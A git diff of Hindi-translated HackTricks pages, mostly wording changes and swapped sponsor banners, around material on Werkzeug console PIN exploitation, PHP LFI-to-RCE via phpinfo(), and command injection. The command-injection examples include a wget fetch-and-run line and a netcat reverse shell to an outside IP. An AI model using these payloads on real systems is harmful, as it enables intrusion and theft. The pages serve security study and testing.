* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>

View file

@ -17,7 +17,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**कमजोरी मूल्यांकन और पेनटेस्टिंग के लिए तुरंत उपलब्ध सेटअप**। कहीं से भी 20+ उपकरणों और सुविधाओं के साथ एक पूर्ण पेंटेस्ट चलाएँ जो पुनः खोज से रिपोर्टिंग तक जाते हैं। हम पेंटेस्टर्स का स्थान नहीं लेते - हम कस्टम उपकरण, पहचान और शोषण मॉड्यूल विकसित करते हैं ताकि उन्हें गहराई से खुदाई करने, शेल पॉप करने और मज़े करने के लिए कुछ समय वापस मिल सके।
#### Get a hacker's perspective on your web apps, network, and cloud
**महत्वपूर्ण, शोषण योग्य कमजोरियों को खोजें और रिपोर्ट करें जो वास्तविक व्यापार प्रभाव डालती हैं।** हमारे 20+ कस्टम टूल का उपयोग करके हमले की सतह का मानचित्रण करें, सुरक्षा मुद्दों को खोजें जो आपको विशेषाधिकार बढ़ाने की अनुमति देते हैं, और आवश्यक सबूत इकट्ठा करने के लिए स्वचालित शोषण का उपयोग करें, जिससे आपका कठिन काम प्रभावशाली रिपोर्टों में बदल जाए।
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -43,7 +45,7 @@ The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server
```
एक संदेश "कंसोल लॉक" परिदृश्य के बारे में तब मिलता है जब Werkzeug के डिबग इंटरफेस तक पहुँचने का प्रयास किया जाता है, जो कंसोल को अनलॉक करने के लिए एक PIN की आवश्यकता को इंगित करता है। सुझाव दिया गया है कि कंसोल PIN का शोषण Werkzeug के डिबग प्रारंभिक फ़ाइल (`__init__.py`) में PIN जनरेशन एल्गोरिदम का विश्लेषण करके किया जाए। PIN जनरेशन तंत्र का अध्ययन [**Werkzeug स्रोत कोड भंडार**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py) से किया जा सकता है, हालांकि संभावित संस्करण भिन्नताओं के कारण वास्तविक सर्वर कोड को फ़ाइल ट्रैवर्सल भेद्यता के माध्यम से प्राप्त करने की सलाह दी जाती है।
एक संदेश "कंसोल लॉक" परिदृश्य के बारे में तब सामने आता है जब Werkzeug के डिबग इंटरफेस तक पहुँचने का प्रयास किया जाता है, जो कंसोल को अनलॉक करने के लिए एक PIN की आवश्यकता को इंगित करता है। सुझाव दिया गया है कि कंसोल PIN का शोषण Werkzeug के डिबग प्रारंभिक फ़ाइल (`__init__.py`) में PIN जनरेशन एल्गोरिदम का विश्लेषण करके किया जाए। PIN जनरेशन तंत्र का अध्ययन [**Werkzeug स्रोत कोड भंडार**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py) से किया जा सकता है, हालांकि संभावित संस्करण भिन्नताओं के कारण वास्तविक सर्वर कोड को फ़ाइल ट्रैवर्सल भेद्यता के माध्यम से प्राप्त करने की सलाह दी जाती है।
कंसोल PIN का शोषण करने के लिए, दो सेट के वेरिएबल्स, `probably_public_bits` और `private_bits`, की आवश्यकता होती है:
@ -157,23 +159,23 @@ rv = num
print(rv)
```
यह स्क्रिप्ट जुड़े हुए बिट्स को हैश करके, विशिष्ट साल्ट (`cookiesalt` और `pinsalt`) जोड़कर, और आउटपुट को फॉर्मेट करके PIN उत्पन्न करती है। यह ध्यान रखना महत्वपूर्ण है कि `probably_public_bits` और `private_bits` के वास्तविक मानों को लक्ष्य प्रणाली से सटीक रूप से प्राप्त करना आवश्यक है ताकि उत्पन्न PIN Werkzeug कंसोल द्वारा अपेक्षित PIN से मेल खाता हो।
यह स्क्रिप्ट जुड़े हुए बिट्स को हैश करके, विशिष्ट साल्ट (`cookiesalt` और `pinsalt`) जोड़कर, और आउटपुट को फॉर्मेट करके PIN उत्पन्न करती है। यह ध्यान रखना महत्वपूर्ण है कि `probably_public_bits` और `private_bits` के वास्तविक मानों को लक्षित प्रणाली से सटीक रूप से प्राप्त करना आवश्यक है ताकि उत्पन्न PIN Werkzeug कंसोल द्वारा अपेक्षित PIN से मेल खाता हो।
{% hint style="success" %}
यदि आप Werkzeug के **पुराने संस्करण** पर हैं, तो **hashing algorithm को md5** में बदलने का प्रयास करें, sha1 के बजाय।
{% endhint %}
## Werkzeug Unicode chars
## Werkzeug Unicode वर्ण
जैसा कि [**इस मुद्दे**](https://github.com/pallets/werkzeug/issues/2833) में देखा गया है, Werkzeug हेडर में Unicode वर्णों के साथ एक अनुरोध को बंद नहीं करता है। और जैसा कि [**इस लेख**](https://mizu.re/post/twisty-python) में समझाया गया है, इससे CL.0 Request Smuggling भेद्यता हो सकती है।
यह इसलिए है, क्योंकि Werkzeug में कुछ **Unicode** वर्ण भेजना संभव है और यह सर्वर को **टूटने** का कारण बनेगा। हालाँकि, यदि HTTP कनेक्शन **`Connection: keep-alive`** हेडर के साथ बनाया गया था, तो अनुरोध का शरीर नहीं पढ़ा जाएगा और कनेक्शन अभी भी खुला रहेगा, इसलिए अनुरोध का **शरीर** **अगले HTTP अनुरोध** के रूप में माना जाएगा।
यह इसलिए है, क्योंकि Werkzeug में कुछ **Unicode** वर्ण भेजना संभव है और यह सर्वर को **टूटने** पर मजबूर कर देगा। हालाँकि, यदि HTTP कनेक्शन **`Connection: keep-alive`** हेडर के साथ बनाया गया था, तो अनुरोध का शरीर नहीं पढ़ा जाएगा और कनेक्शन अभी भी खुला रहेगा, इसलिए अनुरोध का **शरीर** **अगले HTTP अनुरोध** के रूप में माना जाएगा।
## Automated Exploitation
## स्वचालित शोषण
{% embed url="https://github.com/Ruulian/wconsole_extractor" %}
## References
## संदर्भ
* [**https://www.daehee.com/werkzeug-console-pin-exploit/**](https://www.daehee.com/werkzeug-console-pin-exploit/)
* [**https://ctftime.org/writeup/17955**](https://ctftime.org/writeup/17955)
@ -182,7 +184,9 @@ print(rv)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**कमजोरी मूल्यांकन और पेनिट्रेशन परीक्षण के लिए तुरंत उपलब्ध सेटअप**। 20+ उपकरणों और सुविधाओं के साथ कहीं से भी एक पूर्ण पेंटेस्ट चलाएँ जो पुनः खोज से रिपोर्टिंग तक जाते हैं। हम पेंटेस्टर्स का स्थान नहीं लेते - हम उन्हें गहराई से खुदाई करने, शेल पॉप करने और मज़े करने के लिए कुछ समय वापस देने के लिए कस्टम उपकरण, पहचान और शोषण मॉड्यूल विकसित करते हैं।
#### अपने वेब ऐप्स, नेटवर्क और क्लाउड पर हैकर का दृष्टिकोण प्राप्त करें
**वास्तविक व्यावसायिक प्रभाव के साथ महत्वपूर्ण, शोषण योग्य भेद्यताओं को खोजें और रिपोर्ट करें।** हम अपने 20+ कस्टम टूल का उपयोग करके हमले की सतह को मैप करें, सुरक्षा मुद्दों को खोजें जो आपको विशेषाधिकार बढ़ाने की अनुमति देते हैं, और आवश्यक सबूत इकट्ठा करने के लिए स्वचालित शोषण का उपयोग करें, जिससे आपका कठिन काम प्रभावशाली रिपोर्टों में बदल जाए।
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -9,7 +9,7 @@ GCP हैकिंग सीखें और अभ्यास करें: <
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
@ -17,7 +17,9 @@ GCP हैकिंग सीखें और अभ्यास करें: <
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**कमजोरी मूल्यांकन और पेनटेस्टिंग के लिए तुरंत उपलब्ध सेटअप**। 20+ उपकरणों और सुविधाओं के साथ कहीं से भी पूर्ण पेंटेस्ट चलाएँ जो पुनः खोज से रिपोर्टिंग तक जाते हैं। हम पेंटेस्टर्स का स्थान नहीं लेते - हम कस्टम उपकरण, पहचान और शोषण मॉड्यूल विकसित करते हैं ताकि उन्हें गहराई से खुदाई करने, शेल पॉप करने और मज़े करने के लिए कुछ समय मिल सके।
#### अपने वेब ऐप्स, नेटवर्क और क्लाउड पर एक हैकर का दृष्टिकोण प्राप्त करें
**महत्वपूर्ण, शोषण योग्य कमजोरियों को खोजें और रिपोर्ट करें जिनका वास्तविक व्यावसायिक प्रभाव है।** हमारे 20+ कस्टम टूल का उपयोग करके हमले की सतह को मैप करें, सुरक्षा मुद्दों को खोजें जो आपको विशेषाधिकार बढ़ाने की अनुमति देते हैं, और आवश्यक सबूत इकट्ठा करने के लिए स्वचालित शोषण का उपयोग करें, जिससे आपका कठिन काम प्रभावशाली रिपोर्टों में बदल जाए।
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -31,12 +33,12 @@ GCP हैकिंग सीखें और अभ्यास करें: <
### सत्र बूलियन
कुछ समय जब आप कुछ सत्यापन को सही ढंग से पूरा करते हैं, तो बैक-एंड **सुरक्षा विशेषता में "True" मान के साथ एक बूलियन जोड़ता है** फिर, एक अलग एंडपॉइंट जानता है कि क्या आपने उस जांच को सफलतापूर्वक पास किया।\
हालांकि, यदि आप **जांच पास करते हैं** और आपके सत्र को सुरक्षा विशेषता में "True" मान दिया जाता है, तो आप **अन्य संसाधनों तक पहुँचने का प्रयास कर सकते हैं** जो **उसी विशेषता पर निर्भर करते हैं** लेकिन जिन तक आपक**अनुमति नहीं होनी चाहिए** [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
कुछ समय जब आप कुछ सत्यापन को सही ढंग से पूरा करते हैं, तो बैक-एंड **सुरक्षा विशेषता में "True" मान के साथ एक बूलियन जोड़ता है** फिर, एक अलग एंडपॉइंट जानता है कि क्या आपने उस जांच को सफलतापूर्वक पास किया।\
हालांकि, यदि आप **जांच पास करते हैं** और आपके सत्र को सुरक्षा विशेषता में "True" मान दिया जाता है, तो आप **अन्य संसाधनों तक पहुँचने का प्रयास कर सकते हैं** जो **उसी विशेषता पर निर्भर करते हैं** लेकिन जिन तक आपक**पहुँचने की अनुमति नहीं होनी चाहिए** [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
### पंजीकरण कार्यक्षमता
पहले से मौजूद उपयोगकर्ता के रूप में पंजीकरण करने का प्रयास करें। समकक्ष वर्ण (बिंदु, बहुत सारे स्थान और यूनिकोड) का उपयोग करने का प्रयास करें।
कोशिश करें कि आप पहले से मौजूद उपयोगकर्ता के रूप में पंजीकरण करें। समकक्ष वर्णों (बिंदुओं, बहुत सारे स्थानों और यूनिकोड) का उपयोग करने का प्रयास करें।
### ईमेल अधिग्रहण
@ -48,14 +50,16 @@ GCP हैकिंग सीखें और अभ्यास करें: <
### TRACE विधि
डेवलपर्स उत्पादन वातावरण में विभिन्न डिबगिंग विकल्पों को बंद करना भूल सकते हैं। उदाहरण के लिए, HTTP `TRACE` विधि का उपयोग निदान उद्देश्यों के लिए किया जाता है। यदि सक्षम है, तो वेब सर्वर `TRACE` विधि का उपयोग करने वाले अनुरोधों का उत्तर देगा, जो प्रतिक्रिया में प्राप्त अनुरोध को ठीक से प्रतिध्वनित करेगा। यह व्यवहार अक्सर हानिरहित होता है, लेकिन कभी-कभी जानकारी के खुलासे की ओर ले जाता है, जैसे कि आंतरिक प्रमाणीकरण हेडर का नाम जो रिवर्स प्रॉक्सी द्वारा अनुरोधों में जोड़ा जा सकता है।![Image for post](https://miro.medium.com/max/60/1\*wDFRADTOd9Tj63xucenvAA.png?q=20)
डेवलपर्स उत्पादन वातावरण में विभिन्न डिबगिंग विकल्पों को बंद करना भूल सकते हैं। उदाहरण के लिए, HTTP `TRACE` विधि का उपयोग निदान उद्देश्यों के लिए किया जाता है। यदि सक्षम है, तो वेब सर्वर `TRACE` विधि का उपयोग करने वाले अनुरोधों का उत्तर देगा, जो प्राप्त अनुरोध को प्रतिक्रिया में प्रतिध्वनित करेगा। यह व्यवहार अक्सर हानिरहित होता है, लेकिन कभी-कभी जानकारी का खुलासा करता है, जैसे कि आंतरिक प्रमाणीकरण हेडर का नाम जो रिवर्स प्रॉक्सी द्वारा अनुरोधों में जोड़ा जा सकता है।![Image for post](https://miro.medium.com/max/60/1\*wDFRADTOd9Tj63xucenvAA.png?q=20)
![Image for post](https://miro.medium.com/max/1330/1\*wDFRADTOd9Tj63xucenvAA.png)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**कमजोरी मूल्यांकन और पेनटेस्टिंग के लिए तुरंत उपलब्ध सेटअप**। 20+ उपकरणों और सुविधाओं के साथ कहीं से भी पूर्ण पेंटेस्ट चलाएँ जो पुनः खोज से रिपोर्टिंग तक जाते हैं। हम पेंटेस्टर्स का स्थान नहीं लेते - हम कस्टम उपकरण, पहचान और शोषण मॉड्यूल विकसित करते हैं ताकि उन्हें गहराई से खुदाई करने, शेल पॉप करने और मज़े करने के लिए कुछ समय मिल सके।
#### अपने वेब ऐप्स, नेटवर्क और क्लाउड पर एक हैकर का दृष्टिकोण प्राप्त करें
**महत्वपूर्ण, शोषण योग्य कमजोरियों को खोजें और रिपोर्ट करें जिनका वास्तविक व्यावसायिक प्रभाव है।** हमारे 20+ कस्टम टूल का उपयोग करके हमले की सतह को मैप करें, सुरक्षा मुद्दों को खोजें जो आपको विशेषाधिकार बढ़ाने की अनुमति देते हैं, और आवश्यक सबूत इकट्ठा करने के लिए स्वचालित शोषण का उपयोग करें, जिससे आपका कठिन काम प्रभावशाली रिपोर्टों में बदल जाए।
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -68,7 +72,7 @@ GCP हैकिंग सीखें और अभ्यास करें: <
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>

View file

@ -15,12 +15,13 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
#### Get a hacker's perspective on your web apps, network, and cloud
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## What is command Injection?
@ -28,7 +29,7 @@ Get Access Today:
### Context
**जहां आपका इनपुट इंजेक्ट किया जा रहा है** उसके आधार पर आपको कमांड्स से पहले **उद्धृत संदर्भ को समाप्त** करने की आवश्यकता हो सकती है ( `"` या `'` का उपयोग करके)।
**जहां आपका इनपुट इंजेक्ट किया जा रहा है** उसके आधार पर आपको **उद्धृत संदर्भ को समाप्त करने** की आवश्यकता हो सकती है ( `"` या `'` का उपयोग करके) कमांड्स से पहले
## Command Injection/Execution
```bash
@ -49,15 +50,15 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
```
### **सीमाएँ** बायपास
### **Limition** Bypasses
यदि आप **लिनक्स मशीन के अंदर मनमाने कमांड्स को निष्पादित करने** की कोशिश कर रहे हैं, तो आप इस **बायपास के बारे में पढ़ने में रुचि रख होंगे:**
यदि आप **linux मशीन के अंदर मनमाने कमांड्स को निष्पादित करने** की कोशिश कर रहे हैं, तो आप इस **Bypasses** के बारे में पढ़ने में रुचि रखेंगे:
{% content-ref url="../linux-hardening/bypass-bash-restrictions/" %}
[bypass-bash-restrictions](../linux-hardening/bypass-bash-restrictions/)
{% endcontent-ref %}
### **उदाहरण**
### **Examples**
```
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
@ -107,7 +108,7 @@ real 0m0.002s
user 0m0.000s
sys 0m0.000s
```
### DNS आधारित डेटा निकासी
### DNS आधारित डेटा एक्सफिल्ट्रेशन
`https://github.com/HoLyVieR/dnsbin` से उपकरण के आधार पर, जो dnsbin.zhack.ca पर भी होस्ट किया गया है
```
@ -155,16 +156,16 @@ GCP हैकिंग सीखें और अभ्यास करें: <
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** पर हमें **फॉलो** करें** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करें।**
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) का उपयोग करें ताकि आप दुनिया के **सबसे उन्नत** सामुदायिक उपकरणों द्वारा संचालित **वर्कफ़्लो** को आसानी से बना और **स्वचालित** कर सकें।\
आज ही एक्सेस प्राप्त करें:
#### अपने वेब ऐप्स, नेटवर्क और क्लाउड पर एक हैकर का दृष्टिकोण प्राप्त करें
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
**महत्वपूर्ण, शोषण योग्य कमजोरियों को खोजें और रिपोर्ट करें जो वास्तविक व्यापार प्रभाव डालती हैं।** हमारे 20+ कस्टम टूल का उपयोग करके हमले की सतह को मैप करें, सुरक्षा मुद्दों को खोजें जो आपको विशेषाधिकार बढ़ाने की अनुमति देते हैं, और आवश्यक सबूत इकट्ठा करने के लिए स्वचालित शोषण का उपयोग करें, जिससे आपका कठिन काम प्रभावशाली रिपोर्टों में बदल जाए।
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -13,14 +13,22 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
इस कमजोरियों का फायदा उठाने के लिए आपको आवश्यकता है: **एक LFI कमजोरी, एक पृष्ठ जहां phpinfo() प्रदर्शित होता है, "file\_uploads = on" और सर्वर को "/tmp" निर्देशिका में लिखने में सक्षम होना चाहिए।**
#### Get a hacker's perspective on your web apps, network, and cloud
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
To exploit this vulnerability you need: **एक LFI भेद्यता, एक पृष्ठ जहाँ phpinfo() प्रदर्शित होता है, "file\_uploads = on" और सर्वर को "/tmp" निर्देशिका में लिखने में सक्षम होना चाहिए।**
[https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
**Tutorial HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s)
आपको एक्सप्लॉइट को ठीक करने की आवश्यकता है ( **=>** को **=>** में बदलें)। ऐसा करने के लिए आप कर सकते हैं:
You need to fix the exploit (change **=>** for **=>**). To do so you can do:
```
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py
```
@ -36,13 +44,13 @@ You have to change also the **payload** at the beginning of the exploit (for a p
**Windows** में फ़ाइलें आमतौर पर **C:\Windows\temp\php** में संग्रहीत होती हैं।
**linux** में फ़ाइल का नाम आमतौर पर **random** होता है और यह **/tmp** में स्थित होता है। चूंकि नाम यादृच्छिक है, इसलिए **अस्थायी फ़ाइल का नाम कहीं से निकालना आवश्यक है** और इसे हटाए जाने से पहले एक्सेस करना आवश्यक है। यह **phpconfig()** फ़ंक्शन की सामग्री के भीतर **variable $\_FILES** के मान को पढ़कर किया जा सकता है।
**linux** में फ़ाइल का नाम आमतौर पर **random** होता है और यह **/tmp** में स्थित होता है। चूंकि नाम यादृच्छिक है, इसलिए **अस्थायी फ़ाइल के नाम को कहीं से निकालना आवश्यक है** और इसे हटाए जाने से पहले एक्सेस करना आवश्यक है। यह **phpconfig()** फ़ंक्शन की सामग्री के भीतर **variable $\_FILES** के मान को पढ़कर किया जा सकता है।
**phpinfo()**
**PHP** एक **4096B** का बफर का उपयोग करता है और जब यह **पूर्ण** होता है, तो इसे **क्लाइंट को भेजा जाता है**। फिर क्लाइंट **कई बड़े अनुरोध भेज सकता है** (बड़े हेडर का उपयोग करते हुए) **एक php** रिवर्स **शेल अपलोड करते हुए**, **phpinfo() के पहले भाग के लौटने का इंतजार करें** (जहां अस्थायी फ़ाइल का नाम है) और LFI भेद्यता का शोषण करते हुए php सर्वर द्वारा फ़ाइल हटाए जाने से पहले **अस्थायी फ़ाइल तक पहुँचने की कोशिश करें**
**Python script to try to bruteforce the name (if length = 6)**
**Python स्क्रिप्ट नाम को ब्रूटफोर्स करने के लिए (यदि लंबाई = 6)**
```python
import itertools
import requests
@ -64,17 +72,25 @@ sys.exit(0)
print('[x] Something went wrong, please try again')
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### अपने वेब ऐप्स, नेटवर्क और क्लाउड पर एक हैकर का दृष्टिकोण प्राप्त करें
**महत्वपूर्ण, शोषण योग्य कमजोरियों को खोजें और रिपोर्ट करें जो वास्तविक व्यापार प्रभाव डालती हैं।** हमारे 20+ कस्टम टूल का उपयोग करके हमले की सतह का मानचित्रण करें, सुरक्षा मुद्दों को खोजें जो आपको विशेषाधिकार बढ़ाने की अनुमति देते हैं, और आवश्यक सबूत इकट्ठा करने के लिए स्वचालित शोषण का उपयोग करें, जिससे आपका कठिन काम प्रभावशाली रिपोर्टों में बदल जाए।
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे साथ जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर हमें **फॉलो** करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}

View file

@ -9,69 +9,77 @@ GCP हैकिंग सीखें और अभ्यास करें: <
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमारा अनुसरण करें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें, PRs को** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में सबमिट करे।
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** पर हमें **फॉलो** करें 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करे
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### अपने वेब ऐप्स, नेटवर्क और क्लाउड पर एक हैकर का दृष्टिकोण प्राप्त करें
